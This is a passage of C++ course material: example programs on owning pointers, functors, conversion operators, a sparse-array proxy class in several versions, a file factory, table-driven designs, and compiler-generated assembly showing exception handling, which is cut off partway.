Pointer_s1(s1 *ptr = 0) : p(ptr) {}
~Pointer_s1() { if (p) delete p; }
s1 *operator=(s1 *ptr) {
if (p)
delete p;
p = ptr;
return p;
}
s1& operator*() const { return *p; }
s1* operator->() const { return p; }
private:
Pointer_s1(const Pointer_s1&) {}
void operator=(const Pointer_s1&) {}
};
int main()
{
Pointer_s1 p;
p = new s1;
p->a = 25;
p->b = p->a + 36;
}
pointer02.cppC++ / 65 lines
#include <stdio.h>
struct s1 {
int a, b;
~s1() { printf(" s1 deleted\n"); }
};
class Pointer_s1 {
s1 *p;
public:
Pointer_s1(s1 *ptr = 0) : p(ptr) {}
~Pointer_s1() { if (p) delete p; }
s1 *operator=(s1 *ptr) {
if (p)
delete p;
p = ptr;
return p;
}
s1 &operator*() const { return *p; }
s1 *operator->() const { return p; }
private:
Pointer_s1(const Pointer_s1 &); /* no copying */
void operator=(const Pointer_s1 &); /* no assignments */
};
int with_raw(int x) /* plain pointer */
{
s1 *p = new s1;
p->a = x;
if (p->a < 0)
return -1; /* forgot delete: leak */
p->b = p->a + 36;
if (p->b > 100)
return 1; /* forgot delete: leak */
int r = p->b;
delete p; /* only this path frees */
return r;
}
int with_owner(int x) /* Pointer_s1 */
{
Pointer_s1 p(new s1);
p->a = x;
if (p->a < 0)
return -1; /* destructor deletes */
p->b = p->a + 36;
if (p->b > 100)
return 1; /* destructor deletes */
return p->b; /* destructor deletes */
}
int main()
{
printf("with_raw(-5):\n");
with_raw(-5);
printf("with_raw(90):\n");
with_raw(90);
printf("with_owner(-5):\n");
with_owner(-5);
printf("with_owner(90):\n");
with_owner(90);
return 0;
}
pointer03.cppC++ / 57 lines
#include <stdio.h>
struct s1 {
int a, b;
};
class Pointer_s1 {
s1 *p;
public:
Pointer_s1(s1 *ptr = 0) : p(ptr) {}
~Pointer_s1() { if (p) delete p; }
s1 *operator=(s1 *ptr) {
if (p)
delete p;
p = ptr;
return p;
}
s1 &operator*() const { return *p; }
s1 *operator->() const { return p; }
private:
Pointer_s1(const Pointer_s1 &); /* no copying */
void operator=(const Pointer_s1 &); /* no assignments */
};
static void print(const char *what, const s1 &s) /* takes an s1 */
{
printf("%-22s a = %d, b = %d\n", what, s.a, s.b);
}
static void twice(s1 &s) /* changes an s1 */
{
s.a *= 2;
s.b *= 2;
}
int main()
{
Pointer_s1 p;
s1 other = { 7, 8 };
p = new s1;
(*p).a = 25; /* same as p->a = 25 */
(*p).b = (*p).a + 36;
print("after (*p).a = ...:", *p);
*p = other; /* copy a whole struct into it */
print("after *p = other:", *p);
twice(*p); /* pass the object itself */
print("after twice(*p):", *p);
s1 copy = *p; /* take a copy out */
copy.a = 0;
print("copy:", copy);
print("*p unchanged:", *p);
return 0;
}
23 (10-04)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
functor.cppC++ / 19 lines
#include <stdio.h>
class Fun {
public:
void operator()()
{ printf("fun0\n"); }
void operator()(int a)
{ printf("fun1: %d\n", a); }
void operator()(int a, int b)
{ printf("fun2: %d %d\n", a, b); }
};
int main()
{
Fun f;
f();
f(100);
f(25, 36);
}
24 (10-04)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
conv.cppC++ / 38 lines
#include <stdio.h>
class A { /* counts events */
int count;
public:
A() : count(0) {}
void Hit() { count++; }
operator int() const { return count; } /* A -> int */
};
static void show(int n) /* takes a plain int */
{
printf(" show(%d)\n", n);
}
int main()
{
A a;
int x;
a.Hit();
a.Hit();
a.Hit();
x = a; /* x = a.operator int() */
printf("x = %d\n", x);
printf("a * 10 = %d\n", a * 10); /* int * int */
show(a); /* parameter is int */
if (a) /* int in a condition */
printf("a is not zero\n");
switch (a) { /* int in switch */
case 3:
printf("exactly three\n");
break;
}
printf("printf needs a cast: %d\n", (int)a); /* ... converts nothing */
return 0;
}
type.cppC++ / 13 lines
class A {
int i;
public:
operator int() const { return i; }
};
int main()
{
A a;
int x;
x = a;
return 0;
}
Book example: sparse.cpp
sparse.cppC++ / 193 lines
// The SparseArray demo
// Copyright (c) Andrey Vikt. Stolyarov, 2010-2025
// This is just a sample program for a book devoted to C++, see
// http://www.stolyarov.info/books/cppintro for details.
// No rights restricted; do whatever you want with this code,
// if you really want to.
#include <stdio.h>
class SparseArrayInt {
struct Item {
int index;
int value;
Item *next;
};
Item *first;
public:
SparseArrayInt() : first(0) {}
~SparseArrayInt();
class Interm {
friend class SparseArrayInt;
SparseArrayInt *master;
int index;
Interm(SparseArrayInt *a_master, int ind)
: master(a_master), index(ind) {}
int& Provide();
void Remove();
public:
operator int();
int operator=(int x);
int operator+=(int x);
int operator++();
int operator++(int);
};
friend class Interm;
Interm operator[](int idx)
{ return Interm(this, idx); }
int operator[](int idx) const;
int NonzeroCount() const;
private:
SparseArrayInt(const SparseArrayInt&) {}
void operator=(const SparseArrayInt&) {}
};
SparseArrayInt::~SparseArrayInt()
{
while(first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
int SparseArrayInt::operator[](int idx) const
{
Item* tmp;
for(tmp = first; tmp; tmp = tmp->next)
if(tmp->index == idx)
return tmp->value;
return 0;
}
int SparseArrayInt::NonzeroCount() const
{
int r = 0;
for(Item *tmp = first; tmp; tmp = tmp->next)
r++;
return r;
}
int& SparseArrayInt::Interm::Provide()
{
Item* tmp;
for(tmp = master->first; tmp; tmp = tmp->next)
if(tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
void SparseArrayInt::Interm::Remove()
{
Item** tmp;
for(tmp = &(master->first); *tmp; tmp = &(*tmp)->next) {
if((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
}
int SparseArrayInt::Interm::operator=(int x)
{
if(x == 0)
Remove();
else
Provide() = x;
return x;
}
int SparseArrayInt::Interm::operator+=(int x)
{
int& location = Provide();
location += x;
int res = location;
if(res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++()
{
int& location = Provide();
location++;
int res = location;
if(location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++(int)
{
int& location = Provide();
int res = location;
location++;
if(location == 0)
Remove();
return res;
}
SparseArrayInt::Interm::operator int()
{
Item* tmp;
for(tmp = master->first; tmp; tmp = tmp->next)
if(tmp->index == index)
return tmp->value;
return 0;
}
static void do_query(SparseArrayInt &array, char *str)
{
int idx, r;
r = sscanf(str, "%d", &idx);
if(r != 1) {
printf("Invalid index\n");
return;
}
printf("** array[%d] == %d\n", idx, (int) (array[idx]));
}
static void do_assign(SparseArrayInt &array, char *str)
{
int idx, val, r;
r = sscanf(str, "%d %d", &idx, &val);
if(r != 2) {
printf("Invalid numbers\n");
return;
}
array[idx] = val;
}
int main()
{
char buf[1024];
SparseArrayInt array;
while(fgets(buf, sizeof(buf), stdin)) {
switch(buf[0]) {
case '?':
do_query(array, buf+1);
break;
case '!':
do_assign(array, buf+1);
break;
case '#':
printf("%d items now\n", array.NonzeroCount());
break;
case 'q':
return 0;
default:
printf("Unknown action, must be '?', '!', '#' or 'q'\n");
}
}
return 0;
}
25 (10-04)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
sparse.cppC++ / 142 lines
#include <stdio.h>
class SparseArrayInt {
struct Item {
int index;
int value;
Item *next;
};
Item *first;
public:
SparseArrayInt() : first(0) {}
~SparseArrayInt();
class Interm {
friend class SparseArrayInt;
SparseArrayInt *master;
int index;
Interm(SparseArrayInt *a_master, int ind)
: master(a_master), index(ind) {}
int& Provide();
void Remove();
public:
operator int();
int operator=(int x);
int operator+=(int x);
int operator++();
int operator++(int);
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); };
int operator[](int idx) const;
private:
SparseArrayInt(const SparseArrayInt&) {}
void operator=(const SparseArrayInt&) {}
};
SparseArrayInt::~SparseArrayInt()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
int SparseArrayInt::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return 0;
}
int SparseArrayInt::Interm::operator=(int x)
{
if (x == 0)
Remove();
else
Provide() = x;
return x;
}
int SparseArrayInt::Interm::operator+=(int x)
{
int& location = Provide();
location += x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++()
{
int& location = Provide();
location++;
int res = location;
if (location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++(int)
{
int& location = Provide();
int res = location;
location++;
if (location == 0)
Remove();
return res;
}
SparseArrayInt::Interm::operator int()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return 0;
}
int& SparseArrayInt::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
void SparseArrayInt::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
int main()
{
SparseArrayInt arr;
int x;
x = arr[500];
arr[300] = 50;
arr[200] = 0;
arr[15] += 100;
x = arr[200]++;
printf("%d\n", x);
return 0;
}
sparse01.cppC++ / 157 lines
#include <stdio.h>
class SparseArrayInt {
struct Item {
int index;
int value;
Item *next;
};
Item *first;
public:
SparseArrayInt() : first(0) {}
~SparseArrayInt();
class Interm {
friend class SparseArrayInt;
SparseArrayInt *master;
int index;
Interm(SparseArrayInt *a_master, int ind)
: master(a_master), index(ind) {}
int& Provide();
void Remove();
public:
operator int();
int operator=(int x);
int operator+=(int x);
int operator++();
int operator++(int);
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); };
int operator[](int idx) const;
private:
SparseArrayInt(const SparseArrayInt&) {}
void operator=(const SparseArrayInt&) {}
};
SparseArrayInt::~SparseArrayInt()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
int SparseArrayInt::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return 0;
}
int SparseArrayInt::Interm::operator=(int x)
{
if (x == 0)
Remove();
else
Provide() = x;
return x;
}
int SparseArrayInt::Interm::operator+=(int x)
{
int& location = Provide();
location += x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++()
{
int& location = Provide();
location++;
int res = location;
if (location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++(int)
{
int& location = Provide();
int res = location;
location++;
if (location == 0)
Remove();
return res;
}
SparseArrayInt::Interm::operator int()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return 0;
}
int& SparseArrayInt::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = 0;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
void SparseArrayInt::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
int main()
{
SparseArrayInt arr;
int x;
x = arr[500];
printf("Initial arr[500]: %d\n", x);
arr[300] = 50;
printf("After arr[300] = 50: %d\n", int(arr[300]));
arr[200] = 0;
printf("After arr[200] = 0: %d\n", int(arr[200]));
arr[15] += 100;
printf("After arr[15] += 100: %d\n", int(arr[15]));
x = arr[200]++;
printf("After arr[200]++: returned %d, stored %d\n",
x, int(arr[200]));
arr[300] = 0;
printf("After removing arr[300]: %d\n", int(arr[300]));
arr[15] += -100;
printf("After arr[15] += -100: %d\n", int(arr[15]));
return 0;
}
sparse02.cppC++ / 156 lines
#include <stdio.h>
class SparseArrayInt {
struct Item {
int index;
int value;
Item *next;
};
Item *first;
class Interm {
friend class SparseArrayInt;
Item *first;
int index;
Interm(Item *a_first, int ind)
: first(a_first), index(ind) {}
int& Provide();
void Remove();
public:
operator int();
int operator=(int x);
int operator+=(int x);
int operator++();
int operator++(int);
};
public:
SparseArrayInt() : first(0) {}
~SparseArrayInt();
Interm operator[](int idx) { return Interm(first, idx); };
int operator[](int idx) const;
private:
SparseArrayInt(const SparseArrayInt&) {}
void operator=(const SparseArrayInt&) {}
};
SparseArrayInt::~SparseArrayInt()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
int SparseArrayInt::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return 0;
}
int SparseArrayInt::Interm::operator=(int x)
{
if (x == 0)
Remove();
else
Provide() = x;
return x;
}
int SparseArrayInt::Interm::operator+=(int x)
{
int& location = Provide();
location += x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++()
{
int& location = Provide();
location++;
int res = location;
if (location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++(int)
{
int& location = Provide();
int res = location;
location++;
if (location == 0)
Remove();
return res;
}
SparseArrayInt::Interm::operator int()
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return 0;
}
int& SparseArrayInt::Interm::Provide()
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = 0;
tmp->next = first;
first = tmp;
return tmp->value;
}
void SparseArrayInt::Interm::Remove()
{
Item **tmp;
for (tmp = &(first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
int main()
{
SparseArrayInt arr;
int x;
x = arr[500];
printf("Initial arr[500]: %d\n", x);
arr[300] = 50;
printf("After arr[300] = 50: %d\n", int(arr[300]));
arr[200] = 0;
printf("After arr[200] = 0: %d\n", int(arr[200]));
arr[15] += 100;
printf("After arr[15] += 100: %d\n", int(arr[15]));
x = arr[200]++;
printf("After arr[200]++: returned %d, stored %d\n",
x, int(arr[200]));
arr[300] = 0;
printf("After removing arr[300]: %d\n", int(arr[300]));
arr[15] += -100;
printf("After arr[15] += -100: %d\n", int(arr[15]));
return 0;
}
sparse03.cppC++ / 281 lines
#include <stdio.h>
class SparseArrayInt {
struct Item {
int index;
int value;
Item *next;
};
Item *first;
public:
SparseArrayInt() : first(0) {}
~SparseArrayInt();
class Interm {
friend class SparseArrayInt;
SparseArrayInt *master;
int index;
Interm(SparseArrayInt *a_master, int ind)
: master(a_master), index(ind) {}
int& Provide();
void Remove();
public:
operator int();
int operator=(int x);
int operator+=(int x);
int operator-=(int x);
int operator*=(int x);
int operator/=(int x);
int operator%=(int x);
int operator<<=(int x);
int operator>>=(int x);
int operator|=(int x);
int operator&=(int x);
int operator^=(int x);
int operator++();
int operator++(int);
int operator--();
int operator--(int);
};
Interm operator[](int idx) { return Interm(this, idx); };
int operator[](int idx) const;
private:
SparseArrayInt(const SparseArrayInt&) {}
void operator=(const SparseArrayInt&) {}
};
SparseArrayInt::~SparseArrayInt()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
int SparseArrayInt::operator[](int idx) const
{
Item *tmp;
for (tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return tmp->value;
return 0;
}
int SparseArrayInt::Interm::operator=(int x)
{
if (x == 0)
Remove();
else
Provide() = x;
return x;
}
int SparseArrayInt::Interm::operator+=(int x)
{
int& location = Provide();
location += x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator-=(int x)
{
int& location = Provide();
location -= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator*=(int x)
{
int& location = Provide();
location *= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator/=(int x)
{
int& location = Provide();
location /= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator%=(int x)
{
int& location = Provide();
location %= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator<<=(int x)
{
int& location = Provide();
location <<= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator>>=(int x)
{
int& location = Provide();
location >>= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator|=(int x)
{
int& location = Provide();
location |= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator&=(int x)
{
int& location = Provide();
location &= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator^=(int x)
{
int& location = Provide();
location ^= x;
int res = location;
if (res == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++()
{
int& location = Provide();
location++;
int res = location;
if (location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator++(int)
{
int& location = Provide();
int res = location;
location++;
if (location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator--()
{
int& location = Provide();
location--;
int res = location;
if (location == 0)
Remove();
return res;
}
int SparseArrayInt::Interm::operator--(int)
{
int& location = Provide();
int res = location;
location--;
if (location == 0)
Remove();
return res;
}
SparseArrayInt::Interm::operator int()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
return 0;
}
int& SparseArrayInt::Interm::Provide()
{
Item *tmp;
for (tmp = master->first; tmp; tmp = tmp->next)
if (tmp->index == index)
return tmp->value;
tmp = new Item;
tmp->index = index;
tmp->value = 0;
tmp->next = master->first;
master->first = tmp;
return tmp->value;
}
void SparseArrayInt::Interm::Remove()
{
Item **tmp;
for (tmp = &(master->first); *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == index) {
Item *to_delete = *tmp;
*tmp = (*tmp)->next;
delete to_delete;
return;
}
}
int main()
{
SparseArrayInt arr;
int x;
x = arr[500];
printf("Initial arr[500]: %d\n", x);
arr[300] = 50;
printf("After arr[300] = 50: %d\n", int(arr[300]));
arr[200] = 0;
printf("After arr[200] = 0: %d\n", int(arr[200]));
arr[15] += 100;
printf("After arr[15] += 100: %d\n", int(arr[15]));
x = arr[200]++;
printf("After arr[200]++: returned %d, stored %d\n",
x, int(arr[200]));
arr[300] = 0;
printf("After removing arr[300]: %d\n", int(arr[300]));
arr[15] += -100;
printf("After arr[15] += -100: %d\n", int(arr[15]));
return 0;
}
26 (10-04)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
factory.cppC++ / 47 lines
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
class File {
int fd; /* always a valid descriptor */
File(int d) : fd(d) {} /* private: only Open creates */
File(const File &);
void operator=(const File &);
public:
static File *Open(const char *name);
~File() { close(fd); }
int Read(char *buf, int size) { return read(fd, buf, size); }
};
File *File::Open(const char *name) /* can refuse: returns 0 */
{
int d = open(name, O_RDONLY);
if (d == -1)
return 0; /* no object is created at all */
return new File(d);
}
static void show_first_line(const char *name)
{
File *f = File::Open(name); /* no object needed to call it */
char buf[80];
int n, i;
if (!f) {
printf("%s: cannot open\n", name);
return;
}
n = f->Read(buf, sizeof(buf));
for (i = 0; i < n && buf[i] != '\n'; i++)
;
printf("%s: %.*s\n", name, i, buf);
delete f;
}
int main()
{
show_first_line("/etc/hostname");
show_first_line("/no/such/file");
return 0;
}
table.cppC++ / 142 lines
#include <stdio.h>
#include <string.h>
/* ---------- 1. transition table of a finite state machine ---------- */
class Turnstile {
public:
enum State { locked, unlocked };
enum Event { coin, push };
private:
State state;
static const State table[2][2]; /* [state][event] -> new state */
static const char *const names[2];
public:
Turnstile() : state(locked) {}
void Step(Event e) { state = table[state][e]; }
const char *Name() const { return names[state]; }
};
const Turnstile::State Turnstile::table[2][2] = {
/* coin push */
/* locked */ { unlocked, locked },
/* unlocked */ { unlocked, locked }
};
const char *const Turnstile::names[2] = { "locked", "unlocked" };
/* ---------- 2. diagnostic messages ---------- */
class Parser {
public:
enum Error { ok, no_digits, too_long, bad_char };
private:
static const char *const messages[];
public:
static Error Check(const char *s);
static const char *Message(Error e) { return messages[e]; }
};
const char *const Parser::messages[] = {
"ok",
"no digits",
"number too long",
"not a digit"
};
Parser::Error Parser::Check(const char *s)
{
int i;
for (i = 0; s[i]; i++)
if (s[i] < '0' || s[i] > '9')
return bad_char;
if (i == 0)
return no_digits;
if (i > 9)
return too_long;
return ok;
}
/* ---------- 3. command names -> functions ---------- */
class Calc {
int value;
struct Command {
const char *name;
void (*run)(Calc &c);
};
static const Command commands[];
static void Inc(Calc &c) { c.value++; }
static void Dbl(Calc &c) { c.value *= 2; }
static void Clr(Calc &c) { c.value = 0; }
public:
Calc() : value(0) {}
bool Do(const char *cmd);
int Value() const { return value; }
};
const Calc::Command Calc::commands[] = {
{ "inc", Calc::Inc },
{ "dbl", Calc::Dbl },
{ "clr", Calc::Clr },
{ 0, 0 } /* end marker */
};
bool Calc::Do(const char *cmd)
{
int i;
for (i = 0; commands[i].name; i++)
if (strcmp(commands[i].name, cmd) == 0) {
commands[i].run(*this);
return true;
}
return false;
}
/* ---------- demo ---------- */
static void demo_turnstile()
{
Turnstile t;
Turnstile::Event ev[] = { Turnstile::push, Turnstile::coin,
Turnstile::coin, Turnstile::push };
const char *evname[] = { "coin", "push" };
printf("turnstile: %s\n", t.Name());
for (int i = 0; i < 4; i++) {
t.Step(ev[i]);
printf(" %s -> %s\n", evname[ev[i]], t.Name());
}
}
static void demo_parser()
{
const char *inputs[] = { "123", "", "12a", "12345678901" };
printf("parser:\n");
for (int i = 0; i < 4; i++)
printf(" \"%s\": %s\n", inputs[i],
Parser::Message(Parser::Check(inputs[i])));
}
static void demo_calc()
{
Calc c;
const char *cmds[] = { "inc", "inc", "dbl", "sqrt", "dbl" };
printf("calc:\n");
for (int i = 0; i < 5; i++) {
bool known = c.Do(cmds[i]);
printf(" %-4s -> %d%s\n", cmds[i], c.Value(),
known ? "" : " (unknown command)");
}
}
int main()
{
demo_turnstile();
demo_parser();
demo_calc();
return 0;
}
00 (10-05)
MakefileMake / 9 lines
CXXFLAGS = -O0 -S -fverbose-asm -masm=intel ex.cpp -o ex.s
%.s: %.cpp
$(CXX) $(CXXFLAGS) -S $< -o $@
%.calls: %.s
c++filt < $< | grep -E "^[a-z].*:$$|call"
clean:
rm -f *.s
ex.cppC++ / 28 lines
#include <stdio.h>
struct A {
~A() { printf("~A\n"); }
};
void g(int x)
{
if (x)
throw 42;
}
void f(int x)
{
A a;
g(x);
}
int main()
{
try {
f(1);
}
catch (int e) {
printf("caught %d\n", e);
}
return 0;
}
ex.sAssembly / 272 lines
.file "ex.cpp"
.intel_syntax noprefix
# GNU C++17 (Debian 14.2.0-19) version 14.2.0 (x86_64-linux-gnu)
# compiled by GNU C version 14.2.0, GMP version 6.3.0, MPFR version 4.2.1, MPC version 1.3.1, isl version isl-0.27-GMP
# warning: MPFR header version 4.2.1 differs from library version 4.2.2.
# GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072
# options passed: -masm=intel -mtune=generic -march=x86-64 -O0 -fasynchronous-unwind-tables
.text
.section .rodata
.LC0:
.string "~A"
.section .text._ZN1AD2Ev,"axG",@progbits,_ZN1AD5Ev,comdat
.align 2
.weak _ZN1AD2Ev
.type _ZN1AD2Ev, @function
_ZN1AD2Ev:
.LFB1:
.cfi_startproc
.cfi_personality 0x9b,DW.ref.__gxx_personality_v0
.cfi_lsda 0x1b,.LLSDA1
push rbp #
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp #,
.cfi_def_cfa_register 6
sub rsp, 16 #,
mov QWORD PTR -8[rbp], rdi # this, this
# ex.cpp:4: ~A() { printf("~A\n"); }
lea rax, .LC0[rip] # tmp98,
mov rdi, rax #, tmp98
call puts@PLT #
# ex.cpp:4: ~A() { printf("~A\n"); }
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.section .gcc_except_table._ZN1AD2Ev,"aG",@progbits,_ZN1AD5Ev,comdat
.LLSDA1:
.byte 0xff
.byte 0xff
.byte 0x1
.uleb128 .LLSDACSE1-.LLSDACSB1
.LLSDACSB1:
.LLSDACSE1:
.section .text._ZN1AD2Ev,"axG",@progbits,_ZN1AD5Ev,comdat
.size _ZN1AD2Ev, .-_ZN1AD2Ev
.weak _ZN1AD1Ev
.set _ZN1AD1Ev,_ZN1AD2Ev
.text
.globl _Z1gi
.type _Z1gi, @function
_Z1gi:
.LFB3:
.cfi_startproc
push rbp #
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp #,
.cfi_def_cfa_register 6
sub rsp, 16 #,
mov DWORD PTR -4[rbp], edi # x, x
# ex.cpp:9: if (x)
cmp DWORD PTR -4[rbp], 0 # x,
je .L4 #,
# ex.cpp:10: throw 42;
mov edi, 4 #,
call __cxa_allocate_exception@PLT #
# ex.cpp:10: throw 42;
mov DWORD PTR [rax], 42 # MEM[(int *)_4],
mov edx, 0 #,
lea rcx, _ZTIi[rip] # tmp100,
mov rsi, rcx #, tmp100
mov rdi, rax #, _4
call __cxa_throw@PLT #
.L4:
# ex.cpp:11: }
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE3:
.size _Z1gi, .-_Z1gi
.globl _Z1fi
.type _Z1fi, @function
_Z1fi:
.LFB4:
.cfi_startproc
.cfi_personality 0x9b,DW.ref.__gxx_personality_v0
.cfi_lsda 0x1b,.LLSDA4
push rbp #
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp #,
.cfi_def_cfa_register 6
push rbx #
sub rsp, 40 #,
.cfi_offset 3, -24
mov DWORD PTR -36[rbp], edi # x, x
# ex.cpp:16: g(x);
mov eax, DWORD PTR -36[rbp] # tmp99, x
mov edi, eax #, tmp99
.LEHB0:
call _Z1gi #
.LEHE0:
# ex.cpp:17: }
lea rax, -17[rbp] # tmp100,
mov rdi, rax #, tmp100
call _ZN1AD1Ev #
jmp .L8 #
.L7:
mov rbx, rax # tmp102,
lea rax, -17[rbp] # tmp101,
mov rdi, rax #, tmp101
call _ZN1AD1Ev #
mov rax, rbx # D.3446, tmp102
mov rdi, rax #, D.3446
.LEHB1:
call _Unwind_Resume@PLT #
.LEHE1:
.L8:
mov rbx, QWORD PTR -8[rbp] #,
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE4:
.section .gcc_except_table,"a",@progbits
.LLSDA4:
.byte 0xff
.byte 0xff
.byte 0x1
.uleb128 .LLSDACSE4-.LLSDACSB4
.LLSDACSB4:
.uleb128 .LEHB0-.LFB4
.uleb128 .LEHE0-.LEHB0
.uleb128 .L7-.LFB4
.uleb128 0
.uleb128 .LEHB1-.LFB4
.uleb128 .LEHE1-.LEHB1
.uleb128 0
.uleb128 0
.LLSDACSE4:
.text
.size _Z1fi, .-_Z1fi
.section .rodata
.LC1:
.string "caught %d\n"
.text
.globl main
.type main, @function
main:
.LFB5:
.cfi_startproc
.cfi_personality 0x9b,DW.ref.__gxx_personality_v0
.cfi_lsda 0x1b,.LLSDA5
push rbp #
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp #,
.cfi_def_cfa_register 6
push rbx #
sub rsp, 24 #,
.cfi_offset 3, -24
# ex.cpp:22: f(1);
mov edi, 1 #,
.LEHB2:
call _Z1fi #
.LEHE2:
.L13:
# ex.cpp:27: return 0;
mov eax, 0 # _11,
jmp .L17 #
.L15:
# ex.cpp:24: catch (int e) {
cmp rdx, 1 # D.3448,
je .L12 #,
mov rdi, rax #, D.3449
.LEHB3:
call _Unwind_Resume@PLT #
.LEHE3:
.L12:
# ex.cpp:24: catch (int e) {
mov rdi, rax #, _1
call __cxa_begin_catch@PLT #
# ex.cpp:24: catch (int e) {
mov eax, DWORD PTR [rax] # tmp108, *_6
mov DWORD PTR -20[rbp], eax # e, tmp108
# ex.cpp:25: printf("caught %d\n", e);
mov eax, DWORD PTR -20[rbp] # tmp109, e
mov esi, eax #, tmp109
lea rax, .LC1[rip] # tmp110,
mov rdi, rax #, tmp110
mov eax, 0 #,
.LEHB4:
call printf@PLT #
.LEHE4:
# ex.cpp:26: }
call __cxa_end_catch@PLT #
jmp .L13 #
.L16:
mov rbx, rax # tmp111,
call __cxa_end_catch@PLT #
mov rax, rbx # D.3450, tmp111
mov rdi, rax #, D.3450
.LEHB5:
call _Unwind_Resume@PLT #
.LEHE5:
.L17:
# ex.cpp:28: }
mov rbx, QWORD PTR -8[rbp] #,
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE5:
.section .gcc_except_table
.align 4
.LLSDA5:
.byte 0xff
.byte 0x9b
.uleb128 .LLSDATT5-.LLSDATTD5
.LLSDATTD5:
.byte 0x1
.uleb128 .LLSDACSE5-.LLSDACSB5
.LLSDACSB5:
.uleb128 .LEHB2-.LFB5
.uleb128 .LEHE2-.LEHB2
.uleb128 .L15-.LFB5
.uleb128 0x1
